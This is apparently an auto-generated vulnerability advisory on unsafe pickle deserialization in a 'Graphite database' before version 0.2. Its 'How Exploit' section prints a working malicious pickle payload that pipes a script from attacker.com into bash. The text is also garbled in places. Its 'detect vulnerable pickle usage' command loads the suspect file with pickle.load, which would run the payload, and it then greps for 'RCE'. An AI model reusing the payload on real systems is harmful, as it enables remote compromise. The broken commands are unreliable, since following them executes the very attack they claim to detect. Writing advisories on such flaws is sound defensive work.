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How the CVE Works (CVE not assigned in , but vulnerability described)
The vulnerability stems from Graphite versions before 0.2 using Python’s `pickle` module for database serialization. `pickle` is inherently unsafe when loading untrusted data because it allows arbitrary object construction and code execution during deserialization. An attacker can craft a malicious database file (.pkl) containing a specially crafted `__reduce__` method that, when unpickled, executes system commands (e.g., os.system('id')). When a Graphite instance loads this file – for example, through a database restore or import from an untrusted source – the `pickle.loads()` call is invoked without validation. The `pickle` opcodes then reconstruct objects, triggering the attacker’s payload. This leads to remote code execution (RCE) with the privileges of the Graphite process. The attack requires no authentication if the attacker can supply a database file (e.g., via upload or man-in-the-middle). All Graphite versions <0.2 are affected. The risk is highest for deployments that accept database files from third parties or users. The patch removes `pickle` entirely, replacing it with JSON in version 0.2+. JSON serialization only handles primitive types, eliminating deserialization-based RCE. Additionally, version 0.2+ refuses to load legacy `pickle` files and displays a migration warning. To exploit, an attacker would generate a payload using Python’s `pickle` module with `os.system` or subprocess.Popen, write it to a file, and convince a victim to load it as a Graphite database.
DailyCVE Form (3 words max per line)
Platform: Graphite database
Version: before 0.2
Vulnerability: Insecure pickle deserialization
Severity: Critical
date: 2026-05-18
Prediction: Unknown patch date
What Undercode Say:
Analytics – bash commands and codes:
Check Graphite version
graphite-version --info
Detect vulnerable pickle usage in database files
python -c "import pickle; pickle.load(open('database.pkl', 'rb'))" 2>&1 | grep -i "RCE"
Migrate old pickle database to JSON (safe)
python -c "from graphite.Migration import convert_pickle_to_json; convert_pickle_to_json('old.pkl', 'new.json')"
Verify no pickle loading in version 0.2+
grep -r "pickle.load" /opt/graphite/lib/ || echo "No pickle usage"
How Exploit:
1. Create malicious pickle payload:
import pickle, os
class Exploit(object):
def <strong>reduce</strong>(self):
return (os.system, ('curl http://attacker.com/shell.sh | bash',))
payload = pickle.dumps(Exploit())
with open('malicious.pkl', 'wb') as f: f.write(payload)
2. Deliver `malicious.pkl` as a Graphite database file.
3. Victim loads it via Graphite’s load function (pickle.load(open('malicious.pkl','rb'))).
4. Attacker gains RCE on the Graphite server.
Protection from this CVE
- Upgrade to Graphite ≥0.2 (JSON storage).
- If cannot upgrade: never load untrusted `.pkl` files.
- Migrate existing `.pkl` to JSON using
convert_pickle_to_json(). - Use file integrity monitoring to detect new pickle files.
- Run Graphite with minimal privileges and sandboxing.
Impact
- Full remote code execution on the Graphite host.
- Data theft, persistence, lateral movement in the network.
- Loss of integrity and availability of the graph database.
- Unpatched versions expose all connected systems to complete compromise.
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Sources:
Reported By: github.com
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